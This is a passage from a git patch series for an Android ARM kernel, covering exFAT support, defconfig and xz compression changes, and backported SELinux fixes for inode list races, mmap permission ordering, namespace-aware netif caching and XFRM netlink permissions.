0x73, 0xFF, 0x74, 0xFF, 0x75, 0xFF, 0x76, 0xFF, 0x77, 0xFF, 0x78, 0xFF, 0x79, 0xFF, + 0x7A, 0xFF, 0x7B, 0xFF, 0x7C, 0xFF, 0x7D, 0xFF, 0x7E, 0xFF, 0x7F, 0xFF, 0x80, 0xFF, 0x81, 0xFF, + 0x82, 0xFF, 0x83, 0xFF, 0x84, 0xFF, 0x85, 0xFF, 0x86, 0xFF, 0x87, 0xFF, 0x88, 0xFF, 0x89, 0xFF, + 0x8A, 0xFF, 0x8B, 0xFF, 0x8C, 0xFF, 0x8D, 0xFF, 0x8E, 0xFF, 0x8F, 0xFF, 0x90, 0xFF, 0x91, 0xFF, + 0x92, 0xFF, 0x93, 0xFF, 0x94, 0xFF, 0x95, 0xFF, 0x96, 0xFF, 0x97, 0xFF, 0x98, 0xFF, 0x99, 0xFF, + 0x9A, 0xFF, 0x9B, 0xFF, 0x9C, 0xFF, 0x9D, 0xFF, 0x9E, 0xFF, 0x9F, 0xFF, 0xA0, 0xFF, 0xA1, 0xFF, + 0xA2, 0xFF, 0xA3, 0xFF, 0xA4, 0xFF, 0xA5, 0xFF, 0xA6, 0xFF, 0xA7, 0xFF, 0xA8, 0xFF, 0xA9, 0xFF, + 0xAA, 0xFF, 0xAB, 0xFF, 0xAC, 0xFF, 0xAD, 0xFF, 0xAE, 0xFF, 0xAF, 0xFF, 0xB0, 0xFF, 0xB1, 0xFF, + 0xB2, 0xFF, 0xB3, 0xFF, 0xB4, 0xFF, 0xB5, 0xFF, 0xB6, 0xFF, 0xB7, 0xFF, 0xB8, 0xFF, 0xB9, 0xFF, + 0xBA, 0xFF, 0xBB, 0xFF, 0xBC, 0xFF, 0xBD, 0xFF, 0xBE, 0xFF, 0xBF, 0xFF, 0xC0, 0xFF, 0xC1, 0xFF, + 0xC2, 0xFF, 0xC3, 0xFF, 0xC4, 0xFF, 0xC5, 0xFF, 0xC6, 0xFF, 0xC7, 0xFF, 0xC8, 0xFF, 0xC9, 0xFF, + 0xCA, 0xFF, 0xCB, 0xFF, 0xCC, 0xFF, 0xCD, 0xFF, 0xCE, 0xFF, 0xCF, 0xFF, 0xD0, 0xFF, 0xD1, 0xFF, + 0xD2, 0xFF, 0xD3, 0xFF, 0xD4, 0xFF, 0xD5, 0xFF, 0xD6, 0xFF, 0xD7, 0xFF, 0xD8, 0xFF, 0xD9, 0xFF, + 0xDA, 0xFF, 0xDB, 0xFF, 0xDC, 0xFF, 0xDD, 0xFF, 0xDE, 0xFF, 0xDF, 0xFF, 0xE0, 0xFF, 0xE1, 0xFF, + 0xE2, 0xFF, 0xE3, 0xFF, 0xE4, 0xFF, 0xE5, 0xFF, 0xE6, 0xFF, 0xE7, 0xFF, 0xE8, 0xFF, 0xE9, 0xFF, + 0xEA, 0xFF, 0xEB, 0xFF, 0xEC, 0xFF, 0xED, 0xFF, 0xEE, 0xFF, 0xEF, 0xFF, 0xF0, 0xFF, 0xF1, 0xFF, + 0xF2, 0xFF, 0xF3, 0xFF, 0xF4, 0xFF, 0xF5, 0xFF, 0xF6, 0xFF, 0xF7, 0xFF, 0xF8, 0xFF, 0xF9, 0xFF, + 0xFA, 0xFF, 0xFB, 0xFF, 0xFC, 0xFF, 0xFD, 0xFF, 0xFE, 0xFF, 0xFF, 0xFF +}; diff --git a/fs/exfat/exfat_version.h b/fs/exfat/exfat_version.h new file mode 100644 index 0000000000000..a93fa46be04e8 --- /dev/null +++ b/fs/exfat/exfat_version.h @@ -0,0 +1,19 @@ +/************************************************************************/ +/* */ +/* PROJECT : exFAT & FAT12/16/32 File System */ +/* FILE : exfat_version.h */ +/* PURPOSE : exFAT File Manager */ +/* */ +/*----------------------------------------------------------------------*/ +/* NOTES */ +/* */ +/*----------------------------------------------------------------------*/ +/* REVISION HISTORY */ +/* */ +/* - 2012.02.10 : Release Version 1.1.0 */ +/* - 2012.04.02 : P1 : Change Module License to Samsung Proprietary */ +/* - 2012.06.07 : P2 : Fixed incorrect filename problem */ +/* */ +/************************************************************************/ + +#define EXFAT_VERSION "1.2.9" From f0449b7ac265a6475ac91eadf568063d3c178c89 Mon Sep 17 00:00:00 2001 From: Chester Kener Date: Sat, 6 Aug 2016 10:37:18 +0530 Subject: [PATCH 328/365] block: Disable add_random add_random was implemented for spinning hard disks. It only slows SSDs down. Read here http://wiki.samat.org/SSD for more info. --- include/linux/blkdev.h | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/include/linux/blkdev.h b/include/linux/blkdev.h index c68b8f9928c8f..37de48b5e88e5 100644 --- a/include/linux/blkdev.h +++ b/include/linux/blkdev.h @@ -475,7 +475,7 @@ struct request_queue { #define QUEUE_FLAG_DEFAULT ((1 << QUEUE_FLAG_IO_STAT) | \ (1 << QUEUE_FLAG_STACKABLE) | \ (1 << QUEUE_FLAG_SAME_COMP) | \ - (1 << QUEUE_FLAG_ADD_RANDOM)) + (0 << QUEUE_FLAG_ADD_RANDOM)) static inline void queue_lockdep_assert_held(struct request_queue *q) { From 3e8e40c1b51c8f54d82e09b7341ad3cac2692e7e Mon Sep 17 00:00:00 2001 From: AshishM94 Date: Mon, 19 Dec 2016 19:46:25 +0530 Subject: [PATCH 329/365] defconfig: enable EXFAT & NTFS --- arch/arm/configs/zetsubou_defconfig | 12 +++++++++++- 1 file changed, 11 insertions(+), 1 deletion(-) diff --git a/arch/arm/configs/zetsubou_defconfig b/arch/arm/configs/zetsubou_defconfig index 56921a8aa6682..7c4feec228582 100644 --- a/arch/arm/configs/zetsubou_defconfig +++ b/arch/arm/configs/zetsubou_defconfig @@ -3433,7 +3433,16 @@ CONFIG_MSDOS_FS=y CONFIG_VFAT_FS=y CONFIG_FAT_DEFAULT_CODEPAGE=437 CONFIG_FAT_DEFAULT_IOCHARSET="iso8859-1" -# CONFIG_NTFS_FS is not set +CONFIG_EXFAT_FS=y +# CONFIG_EXFAT_DISCARD is not set +# CONFIG_EXFAT_DELAYED_SYNC is not set +# CONFIG_EXFAT_KERNEL_DEBUG is not set +# CONFIG_EXFAT_DEBUG_MSG is not set +CONFIG_EXFAT_DEFAULT_CODEPAGE=437 +CONFIG_EXFAT_DEFAULT_IOCHARSET="utf8" +CONFIG_NTFS_FS=y +# CONFIG_NTFS_DEBUG is not set +CONFIG_NTFS_RW=y # # Pseudo filesystems @@ -3452,6 +3461,7 @@ CONFIG_MISC_FILESYSTEMS=y # CONFIG_AFFS_FS is not set # CONFIG_ECRYPT_FS is not set CONFIG_SDCARD_FS=y +# CONFIG_CONFIG_SDCARD_FS_ANDROID_PKGLIST is not set # CONFIG_HFS_FS is not set # CONFIG_HFSPLUS_FS is not set # CONFIG_BEFS_FS is not set From 389fe2638fa4da3f676274ea3418948d51253b94 Mon Sep 17 00:00:00 2001 From: anarkia1976 Date: Tue, 2 Jul 2013 10:04:19 +0200 Subject: [PATCH 330/365] xz: Optimize Sfck Compression --- scripts/gen_initramfs_list.sh | 2 +- scripts/xz_wrap.sh | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/scripts/gen_initramfs_list.sh b/scripts/gen_initramfs_list.sh index b482f162a18af..8686784d32542 100644 --- a/scripts/gen_initramfs_list.sh +++ b/scripts/gen_initramfs_list.sh @@ -244,7 +244,7 @@ case "$arg" in echo "$output_file" | grep -q "\.bz2$" && compr="bzip2 -9 -f" echo "$output_file" | grep -q "\.lzma$" && compr="lzma -9 -f" echo "$output_file" | grep -q "\.xz$" && \ - compr="xz --check=crc32 --lzma2=dict=1MiB" + compr="xz --check=crc32 --lzma2=dict=8MiB" echo "$output_file" | grep -q "\.lzo$" && compr="lzop -9 -f" echo "$output_file" | grep -q "\.cpio$" && compr="cat" shift diff --git a/scripts/xz_wrap.sh b/scripts/xz_wrap.sh index 7a2d372f4885a..0b1dc9e4218a7 100644 --- a/scripts/xz_wrap.sh +++ b/scripts/xz_wrap.sh @@ -20,4 +20,4 @@ case $SRCARCH in sparc) BCJ=--sparc ;; esac -exec xz --check=crc32 $BCJ --lzma2=$LZMA2OPTS,dict=32MiB +exec xz --check=crc32 $BCJ --lzma2=$LZMA2OPTS,dict=8MiB From e02b03a99807481b25e36e916af4efde3a8177ff Mon Sep 17 00:00:00 2001 From: AshishM94 Date: Tue, 20 Dec 2016 11:50:33 +0530 Subject: [PATCH 331/365] defconfig: compress kernel with xz --- arch/arm/configs/zetsubou_defconfig | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/arch/arm/configs/zetsubou_defconfig b/arch/arm/configs/zetsubou_defconfig index 7c4feec228582..a970db87cc498 100644 --- a/arch/arm/configs/zetsubou_defconfig +++ b/arch/arm/configs/zetsubou_defconfig @@ -39,9 +39,9 @@ CONFIG_HAVE_KERNEL_LZMA=y CONFIG_HAVE_KERNEL_XZ=y CONFIG_HAVE_KERNEL_LZO=y CONFIG_HAVE_KERNEL_LZ4=y -CONFIG_KERNEL_GZIP=y +# CONFIG_KERNEL_GZIP is not set # CONFIG_KERNEL_LZMA is not set -# CONFIG_KERNEL_XZ is not set +CONFIG_KERNEL_XZ=y # CONFIG_KERNEL_LZO is not set # CONFIG_KERNEL_LZ4 is not set CONFIG_DEFAULT_HOSTNAME="(none)" From 9b9c1c8c48dab349eca159d5995fc6935299974a Mon Sep 17 00:00:00 2001 From: Stephen Smalley Date: Mon, 6 Oct 2014 16:32:52 -0400 Subject: [PATCH 332/365] selinux: fix inode security list corruption commit 923190d32de4428afbea5e5773be86bea60a9925 upstream. sb_finish_set_opts() can race with inode_free_security() when initializing inode security structures for inodes created prior to initial policy load or by the filesystem during ->mount(). This appears to have always been a possible race, but commit 3dc91d4 ("SELinux: Fix possible NULL pointer dereference in selinux_inode_permission()") made it more evident by immediately reusing the unioned list/rcu element of the inode security structure for call_rcu() upon an inode_free_security(). But the underlying issue was already present before that commit as a possible use-after-free of isec. Shivnandan Kumar reported the list corruption and proposed a patch to split the list and rcu elements out of the union as separate fields of the inode_security_struct so that setting the rcu element would not affect the list element. However, this would merely hide the issue and not truly fix the code. This patch instead moves up the deletion of the list entry prior to dropping the sbsec->isec_lock initially. Then, if the inode is dropped subsequently, there will be no further references to the isec. Change-Id: I7c56670bddbb896f159701651758d2e7f739dff8 Reported-by: Shivnandan Kumar Signed-off-by: Stephen Smalley Signed-off-by: Paul Moore Signed-off-by: Greg Kroah-Hartman --- security/selinux/hooks.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/security/selinux/hooks.c b/security/selinux/hooks.c index 93df07d5d00ab..d47446b523f04 100644 --- a/security/selinux/hooks.c +++ b/security/selinux/hooks.c @@ -460,6 +460,7 @@ static int sb_finish_set_opts(struct super_block *sb) list_entry(sbsec->isec_head.next, struct inode_security_struct, list); struct inode *inode = isec->inode; + list_del_init(&isec->list); spin_unlock(&sbsec->isec_lock); inode = igrab(inode); if (inode) { @@ -468,7 +469,6 @@ static int sb_finish_set_opts(struct super_block *sb) iput(inode); } spin_lock(&sbsec->isec_lock); - list_del_init(&isec->list); goto next_inode; } spin_unlock(&sbsec->isec_lock); From 4cc11798e06028e8d53ec139fde1c6c7030fec18 Mon Sep 17 00:00:00 2001 From: Stephen Smalley Date: Wed, 21 Jan 2015 13:59:39 -0500 Subject: [PATCH 333/365] selinux: Remove obsolete selinux_audit_data initialization. Commit 899838b25f063a94594b1df6e0100aea1ec57fac eliminated the need to initialize selinux_audit_data except in the slow path, when it is handled by slow_avc_audit(). That commit removed all other initializations of selinux_audit_data but this one remained since the binder security hooks are not yet upstream (posted them to linux-kernel today). Change-Id: I735e4500cde23275686cb3208068cbf8dd7bccd7 Signed-off-by: Stephen Smalley --- security/selinux/hooks.c | 2 -- 1 file changed, 2 deletions(-) diff --git a/security/selinux/hooks.c b/security/selinux/hooks.c index d47446b523f04..a42984e7dcdb1 100644 --- a/security/selinux/hooks.c +++ b/security/selinux/hooks.c @@ -1929,12 +1929,10 @@ static int selinux_binder_transfer_file(struct task_struct *from, struct task_st struct inode *inode = file->f_path.dentry->d_inode; struct inode_security_struct *isec = inode->i_security; struct common_audit_data ad; - struct selinux_audit_data sad = {0,}; int rc; ad.type = LSM_AUDIT_DATA_PATH; ad.u.path = file->f_path; - ad.selinux_audit_data = &sad; if (sid != fsec->sid) { rc = avc_has_perm(sid, fsec->sid, From 7c19c150224d4f680ca885a656e5d8907c6ad442 Mon Sep 17 00:00:00 2001 From: Paul Moore Date: Fri, 28 Feb 2014 07:23:24 -0500 Subject: [PATCH 334/365] selinux: put the mmap() DAC controls before the MAC controls commit 0909c0ae999c325b9d34c6f4710f40730ae3bc24 upstream. It turns out that doing the SELinux MAC checks for mmap() before the DAC checks was causing users and the SELinux policy folks headaches as users were seeing a lot of SELinux AVC denials for the memprotect:mmap_zero permission that would have also been denied by the normal DAC capability checks (CAP_SYS_RAWIO). Example: # cat mmap_test.c #include #include #include #include int main(int argc, char *argv[]) { int rc; void *mem; mem = mmap(0x0, 4096, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, -1, 0); if (mem == MAP_FAILED) return errno; printf("mem = %p\n", mem); munmap(mem, 4096); return 0; } # gcc -g -O0 -o mmap_test mmap_test.c # ./mmap_test mem = (nil) # ausearch -m AVC | grep mmap_zero type=AVC msg=audit(...): avc: denied { mmap_zero } for pid=1025 comm="mmap_test" scontext=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023 tcontext=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023 tclass=memprotect This patch corrects things so that when the above example is run by a user without CAP_SYS_RAWIO the SELinux AVC is no longer generated as the DAC capability check fails before the SELinux permission check. Change-Id: Ic3b2ef30d13c15ca7c60adbd3c3b93ebe251c7bc Signed-off-by: Paul Moore Acked-by: Stephen Smalley --- security/selinux/hooks.c | 20 ++++++++------------ 1 file changed, 8 insertions(+), 12 deletions(-) diff --git a/security/selinux/hooks.c b/security/selinux/hooks.c index a42984e7dcdb1..42b25d70c16d0 100644 --- a/security/selinux/hooks.c +++ b/security/selinux/hooks.c @@ -3286,24 +3286,20 @@ static int file_map_prot_check(struct file *file, unsigned long prot, int shared static int selinux_mmap_addr(unsigned long addr) { - int rc = 0; - u32 sid = current_sid(); + int rc; + + /* do DAC check on address space usage */ + rc = cap_mmap_addr(addr); + if (rc) + return rc; - /* - * notice that we are intentionally putting the SELinux check before - * the secondary cap_file_mmap check. This is such a likely attempt - * at bad behaviour/exploit that we always want to get the AVC, even - * if DAC would have also denied the operation. - */ if (addr < CONFIG_LSM_MMAP_MIN_ADDR) { + u32 sid = current_sid(); rc = avc_has_perm(sid, sid, SECCLASS_MEMPROTECT, MEMPROTECT__MMAP_ZERO, NULL); - if (rc) - return rc; } - /* do DAC check on address space usage */ - return cap_mmap_addr(addr); + return rc; } static int selinux_mmap_file(struct file *file, unsigned long reqprot, From 3877df5ecbbe641b9869a7ec64eb6538cb9ccd42 Mon Sep 17 00:00:00 2001 From: Paul Moore Date: Wed, 10 Sep 2014 17:09:57 -0400 Subject: [PATCH 335/365] selinux: make the netif cache namespace aware While SELinux largely ignores namespaces, for good reason, there are some places where it needs to at least be aware of namespaces in order to function correctly. Network namespaces are one example. Basic awareness of network namespaces are necessary in order to match a network interface's index number to an actual network device. This patch corrects a problem with network interfaces added to a non-init namespace, and can be reproduced with the following commands: [NOTE: the NetLabel configuration is here only to active the dynamic networking controls ] # netlabelctl unlbl add default address:0.0.0.0/0 \ label:system_u:object_r:unlabeled_t:s0 # netlabelctl unlbl add default address:::/0 \ label:system_u:object_r:unlabeled_t:s0 # netlabelctl cipsov4 add pass doi:100 tags:1 # netlabelctl map add domain:lspp_test_netlabel_t \ protocol:cipsov4,100 # ip link add type veth # ip netns add myns # ip link set veth1 netns myns # ip a add dev veth0 10.250.13.100/24 # ip netns exec myns ip a add dev veth1 10.250.13.101/24 # ip l set veth0 up # ip netns exec myns ip l set veth1 up # ping -c 1 10.250.13.101 # ip netns exec myns ping -c 1 10.250.13.100 Reported-by: Jiri Jaburek Signed-off-by: Paul Moore --- security/selinux/hooks.c | 33 +++++++++++++----------- security/selinux/include/netif.h | 4 ++- security/selinux/include/objsec.h | 4 +++ security/selinux/netif.c | 43 +++++++++++++++++-------------- 4 files changed, 48 insertions(+), 36 deletions(-) diff --git a/security/selinux/hooks.c b/security/selinux/hooks.c index 42b25d70c16d0..9c957caa5bb09 100644 --- a/security/selinux/hooks.c +++ b/security/selinux/hooks.c @@ -4367,15 +4367,15 @@ static int selinux_socket_unix_may_send(struct socket *sock, &ad); } -static int selinux_inet_sys_rcv_skb(int ifindex, char *addrp, u16 family, - u32 peer_sid, +static int selinux_inet_sys_rcv_skb(struct net *ns, int ifindex, + char *addrp, u16 family, u32 peer_sid, struct common_audit_data *ad) { int err; u32 if_sid; u32 node_sid; - err = sel_netif_sid(ifindex, &if_sid); + err = sel_netif_sid(ns, ifindex, &if_sid); if (err) return err; err = avc_has_perm(peer_sid, if_sid, @@ -4468,8 +4468,8 @@ static int selinux_socket_sock_rcv_skb(struct sock *sk, struct sk_buff *skb) err = selinux_skb_peerlbl_sid(skb, family, &peer_sid); if (err) return err; - err = selinux_inet_sys_rcv_skb(skb->skb_iif, addrp, family, - peer_sid, &ad); + err = selinux_inet_sys_rcv_skb(sock_net(sk), skb->skb_iif, + addrp, family, peer_sid, &ad); if (err) { selinux_netlbl_err(skb, err, 0); return err; @@ -4812,7 +4812,8 @@ static int selinux_nlmsg_perm(struct sock *sk, struct sk_buff *skb) #ifdef CONFIG_NETFILTER -static unsigned int selinux_ip_forward(struct sk_buff *skb, int ifindex, +static unsigned int selinux_ip_forward(struct sk_buff *skb, + const struct net_device *indev, u16 family) { int err; @@ -4838,14 +4839,14 @@ static unsigned int selinux_ip_forward(struct sk_buff *skb, int ifindex, ad.type = LSM_AUDIT_DATA_NET; ad.u.net = &net; - ad.u.net->netif = ifindex; + ad.u.net->netif = indev->ifindex; ad.u.net->family = family; if (selinux_parse_skb(skb, &ad, &addrp, 1, NULL) != 0) return NF_DROP; if (peerlbl_active) { - err = selinux_inet_sys_rcv_skb(ifindex, addrp, family, - peer_sid, &ad); + err = selinux_inet_sys_rcv_skb(dev_net(indev), indev->ifindex, + addrp, family, peer_sid, &ad); if (err) { selinux_netlbl_err(skb, err, 1); return NF_DROP; @@ -4874,7 +4875,7 @@ static unsigned int selinux_ipv4_forward(unsigned int hooknum, const struct net_device *out, int (*okfn)(struct sk_buff *)) { - return selinux_ip_forward(skb, in->ifindex, PF_INET); + return selinux_ip_forward(skb, in, PF_INET); } #if defined(CONFIG_IPV6) || defined(CONFIG_IPV6_MODULE) @@ -4884,7 +4885,7 @@ static unsigned int selinux_ipv6_forward(unsigned int hooknum, const struct net_device *out, int (*okfn)(struct sk_buff *)) { - return selinux_ip_forward(skb, in->ifindex, PF_INET6); + return selinux_ip_forward(skb, in, PF_INET6); } #endif /* IPV6 */ @@ -4972,11 +4973,13 @@ static unsigned int selinux_ip_postroute_compat(struct sk_buff *skb, return NF_ACCEPT; } -static unsigned int selinux_ip_postroute(struct sk_buff *skb, int ifindex, +static unsigned int selinux_ip_postroute(struct sk_buff *skb, + const struct net_device *outdev, u16 family) { u32 secmark_perm; u32 peer_sid; + int ifindex = outdev->ifindex; struct sock *sk; struct common_audit_data ad; struct lsm_network_audit net = {0,}; @@ -5089,7 +5092,7 @@ static unsigned int selinux_ip_postroute(struct sk_buff *skb, int ifindex, u32 if_sid; u32 node_sid; - if (sel_netif_sid(ifindex, &if_sid)) + if (sel_netif_sid(dev_net(outdev), ifindex, &if_sid)) return NF_DROP; if (avc_has_perm(peer_sid, if_sid, SECCLASS_NETIF, NETIF__EGRESS, &ad)) @@ -5111,7 +5114,7 @@ static unsigned int selinux_ipv4_postroute(unsigned int hooknum, const struct net_device *out, int (*okfn)(struct sk_buff *)) { - return selinux_ip_postroute(skb, out->ifindex, PF_INET); + return selinux_ip_postroute(skb, out, PF_INET); } #if defined(CONFIG_IPV6) || defined(CONFIG_IPV6_MODULE) @@ -5121,7 +5124,7 @@ static unsigned int selinux_ipv6_postroute(unsigned int hooknum, const struct net_device *out, int (*okfn)(struct sk_buff *)) { - return selinux_ip_postroute(skb, out->ifindex, PF_INET6); + return selinux_ip_postroute(skb, out, PF_INET6); } #endif /* IPV6 */ diff --git a/security/selinux/include/netif.h b/security/selinux/include/netif.h index 57c6eae81eaca..c721454440901 100644 --- a/security/selinux/include/netif.h +++ b/security/selinux/include/netif.h @@ -17,9 +17,11 @@ #ifndef _SELINUX_NETIF_H_ #define _SELINUX_NETIF_H_ +#include + void sel_netif_flush(void); -int sel_netif_sid(int ifindex, u32 *sid); +int sel_netif_sid(struct net *ns, int ifindex, u32 *sid); #endif /* _SELINUX_NETIF_H_ */ diff --git a/security/selinux/include/objsec.h b/security/selinux/include/objsec.h index 1c842fd8b1720..63c5759c5d0d4 100644 --- a/security/selinux/include/objsec.h +++ b/security/selinux/include/objsec.h @@ -25,6 +25,9 @@ #include #include #include +#include +#include "flask.h" +#include "avc.h" struct task_security_struct { u32 osid; /* SID prior to last execve */ @@ -78,6 +81,7 @@ struct ipc_security_struct { }; struct netif_security_struct { + struct net *ns; /* network namespace */ int ifindex; /* device index */ u32 sid; /* SID for this interface */ }; diff --git a/security/selinux/netif.c b/security/selinux/netif.c index e5d4b01536092..4a1cc5d71ab9d 100644 --- a/security/selinux/netif.c +++ b/security/selinux/netif.c @@ -46,6 +46,7 @@ static struct list_head sel_netif_hash[SEL_NETIF_HASH_SIZE]; /** * sel_netif_hashfn - Hashing function for the interface table + * @ns: the network namespace * @ifindex: the network interface * * Description: @@ -53,13 +54,14 @@ static struct list_head sel_netif_hash[SEL_NETIF_HASH_SIZE]; * bucket number for the given interface. * */ -static inline u32 sel_netif_hashfn(int ifindex) +static inline u32 sel_netif_hashfn(const struct net *ns, int ifindex) { - return (ifindex & (SEL_NETIF_HASH_SIZE - 1)); + return (((uintptr_t)ns + ifindex) & (SEL_NETIF_HASH_SIZE - 1)); } /** * sel_netif_find - Search for an interface record + * @ns: the network namespace * @ifindex: the network interface * * Description: @@ -67,15 +69,15 @@ static inline u32 sel_netif_hashfn(int ifindex) * If an entry can not be found in the table return NULL. * */ -static inline struct sel_netif *sel_netif_find(int ifindex) +static inline struct sel_netif *sel_netif_find(const struct net *ns, + int ifindex) { - int idx = sel_netif_hashfn(ifindex); + int idx = sel_netif_hashfn(ns, ifindex); struct sel_netif *netif; list_for_each_entry_rcu(netif, &sel_netif_hash[idx], list) - /* all of the devices should normally fit in the hash, so we - * optimize for that case */ - if (likely(netif->nsec.ifindex == ifindex)) + if (net_eq(netif->nsec.ns, ns) && + netif->nsec.ifindex == ifindex) return netif; return NULL; @@ -97,7 +99,7 @@ static int sel_netif_insert(struct sel_netif *netif) if (sel_netif_total >= SEL_NETIF_HASH_MAX) return -ENOSPC; - idx = sel_netif_hashfn(netif->nsec.ifindex); + idx = sel_netif_hashfn(netif->nsec.ns, netif->nsec.ifindex); list_add_rcu(&netif->list, &sel_netif_hash[idx]); sel_netif_total++; @@ -121,6 +123,7 @@ static void sel_netif_destroy(struct sel_netif *netif) /** * sel_netif_sid_slow - Lookup the SID of a network interface using the policy + * @ns: the network namespace * @ifindex: the network interface * @sid: interface SID * @@ -131,7 +134,7 @@ static void sel_netif_destroy(struct sel_netif *netif) * failure. * */ -static int sel_netif_sid_slow(int ifindex, u32 *sid) +static int sel_netif_sid_slow(struct net *ns, int ifindex, u32 *sid) { int ret; struct sel_netif *netif; @@ -141,7 +144,7 @@ static int sel_netif_sid_slow(int ifindex, u32 *sid) /* NOTE: we always use init's network namespace since we don't * currently support containers */ - dev = dev_get_by_index(&init_net, ifindex); + dev = dev_get_by_index(ns, ifindex); if (unlikely(dev == NULL)) { printk(KERN_WARNING "SELinux: failure in sel_netif_sid_slow()," @@ -150,7 +153,7 @@ static int sel_netif_sid_slow(int ifindex, u32 *sid) } spin_lock_bh(&sel_netif_lock); - netif = sel_netif_find(ifindex); + netif = sel_netif_find(ns, ifindex); if (netif != NULL) { *sid = netif->nsec.sid; ret = 0; @@ -164,6 +167,7 @@ static int sel_netif_sid_slow(int ifindex, u32 *sid) ret = security_netif_sid(dev->name, &new->nsec.sid); if (ret != 0) goto out; + new->nsec.ns = ns; new->nsec.ifindex = ifindex; ret = sel_netif_insert(new); if (ret != 0) @@ -185,6 +189,7 @@ static int sel_netif_sid_slow(int ifindex, u32 *sid) /** * sel_netif_sid - Lookup the SID of a network interface + * @ns: the network namespace * @ifindex: the network interface * @sid: interface SID * @@ -196,12 +201,12 @@ static int sel_netif_sid_slow(int ifindex, u32 *sid) * on failure. * */ -int sel_netif_sid(int ifindex, u32 *sid) +int sel_netif_sid(struct net *ns, int ifindex, u32 *sid) { struct sel_netif *netif; rcu_read_lock(); - netif = sel_netif_find(ifindex); + netif = sel_netif_find(ns, ifindex); if (likely(netif != NULL)) { *sid = netif->nsec.sid; rcu_read_unlock(); @@ -209,11 +214,12 @@ int sel_netif_sid(int ifindex, u32 *sid) } rcu_read_unlock(); - return sel_netif_sid_slow(ifindex, sid); + return sel_netif_sid_slow(ns, ifindex, sid); } /** * sel_netif_kill - Remove an entry from the network interface table + * @ns: the network namespace * @ifindex: the network interface * * Description: @@ -221,13 +227,13 @@ int sel_netif_sid(int ifindex, u32 *sid) * table if it exists. * */ -static void sel_netif_kill(int ifindex) +static void sel_netif_kill(const struct net *ns, int ifindex) { struct sel_netif *netif; rcu_read_lock(); spin_lock_bh(&sel_netif_lock); - netif = sel_netif_find(ifindex); + netif = sel_netif_find(ns, ifindex); if (netif) sel_netif_destroy(netif); spin_unlock_bh(&sel_netif_lock); @@ -258,11 +264,8 @@ static int sel_netif_netdev_notifier_handler(struct notifier_block *this, { struct net_device *dev = ptr; - if (dev_net(dev) != &init_net) - return NOTIFY_DONE; - if (event == NETDEV_DOWN) - sel_netif_kill(dev->ifindex); + sel_netif_kill(dev_net(dev), dev->ifindex); return NOTIFY_DONE; } From d59245d85246f918cb0fd81800bae672b81e2f00 Mon Sep 17 00:00:00 2001 From: Nicolas Dichtel Date: Wed, 8 Apr 2015 18:36:40 +0200 Subject: [PATCH 336/365] selinux/nlmsg: add XFRM_MSG_NEWSPDINFO commit 2b7834d3e1b828429faa5dc41a480919e52d3f31 upstream (net-next). This new command is missing. Change-Id: If511000c19aa9af7220ff775d88ace9834b35dcb Fixes: 880a6fab8f6b ("xfrm: configure policy hash table thresholds by netlink") Reported-by: Christophe Gouault Signed-off-by: Nicolas Dichtel Signed-off-by: David S. Miller --- security/selinux/nlmsgtab.c | 1 + 1 file changed, 1 insertion(+) diff --git a/security/selinux/nlmsgtab.c b/security/selinux/nlmsgtab.c index a619a235a3ebd..96a7445156b7d 100644 --- a/security/selinux/nlmsgtab.c +++ b/security/selinux/nlmsgtab.c @@ -101,6 +101,7 @@ static struct nlmsg_perm nlmsg_xfrm_perms[] = { XFRM_MSG_FLUSHPOLICY, NETLINK_XFRM_SOCKET__NLMSG_WRITE }, { XFRM_MSG_NEWAE, NETLINK_XFRM_SOCKET__NLMSG_WRITE }, { XFRM_MSG_GETAE, NETLINK_XFRM_SOCKET__NLMSG_READ }, + { XFRM_MSG_NEWSPDINFO, NETLINK_XFRM_SOCKET__NLMSG_WRITE }, }; static struct nlmsg_perm nlmsg_audit_perms[] = From d73823d2d1604c76b6920537b542aed8b7fc604f Mon Sep 17 00:00:00 2001 From: Nicolas Dichtel Date: Wed, 8 Apr 2015 18:36:41 +0200 Subject: [PATCH 337/365] selinux/nlmsg: add XFRM_MSG_GETSPDINFO commit 5e6deebafb45fb271ae6939d48832e920b8fb74e upstream (net-next). This command is missing. Change-Id: Id0a0d9bf7a4af98a8f761fec902d1296138a911f Fixes: ecfd6b183780 ("[XFRM]: Export SPD info") Signed-off-by: Nicolas Dichtel Signed-off-by: David S. Miller --- security/selinux/nlmsgtab.c | 1 + 1 file changed, 1 insertion(+) diff --git a/security/selinux/nlmsgtab.c b/security/selinux/nlmsgtab.c index 96a7445156b7d..d44ae5b71f032 100644 --- a/security/selinux/nlmsgtab.c +++ b/security/selinux/nlmsgtab.c @@ -102,6 +102,7 @@ static struct nlmsg_perm nlmsg_xfrm_perms[] = { XFRM_MSG_NEWAE, NETLINK_XFRM_SOCKET__NLMSG_WRITE }, { XFRM_MSG_GETAE, NETLINK_XFRM_SOCKET__NLMSG_READ }, { XFRM_MSG_NEWSPDINFO, NETLINK_XFRM_SOCKET__NLMSG_WRITE }, + { XFRM_MSG_GETSPDINFO, NETLINK_XFRM_SOCKET__NLMSG_READ }, }; static struct nlmsg_perm nlmsg_audit_perms[] = From 1272551bfa193ab82fcc82e4fa1e9d336c60ca8f Mon Sep 17 00:00:00 2001 From: Nicolas Dichtel Date: Wed, 8 Apr 2015 18:36:42 +0200 Subject: [PATCH 338/365] selinux/nlmsg: add XFRM_MSG_[NEW|GET]SADINFO commit 5b5800fad072133e4a9c2efbf735baaac83dec86 upstream (net-next). These commands are missing. Change-Id: I3fd1d3d700592c653e1a5c5199125805d55aaa95 Fixes: 28d8909bc790 ("[XFRM]: Export SAD info.") Signed-off-by: Nicolas Dichtel Signed-off-by: David S. Miller --- security/selinux/nlmsgtab.c | 2 ++ 1 file changed, 2 insertions(+) diff --git a/security/selinux/nlmsgtab.c b/security/selinux/nlmsgtab.c index d44ae5b71f032..44b114169f8db 100644 --- a/security/selinux/nlmsgtab.c +++ b/security/selinux/nlmsgtab.c @@ -101,6 +101,8 @@ static struct nlmsg_perm nlmsg_xfrm_perms[] = { XFRM_MSG_FLUSHPOLICY, NETLINK_XFRM_SOCKET__NLMSG_WRITE }, { XFRM_MSG_NEWAE, 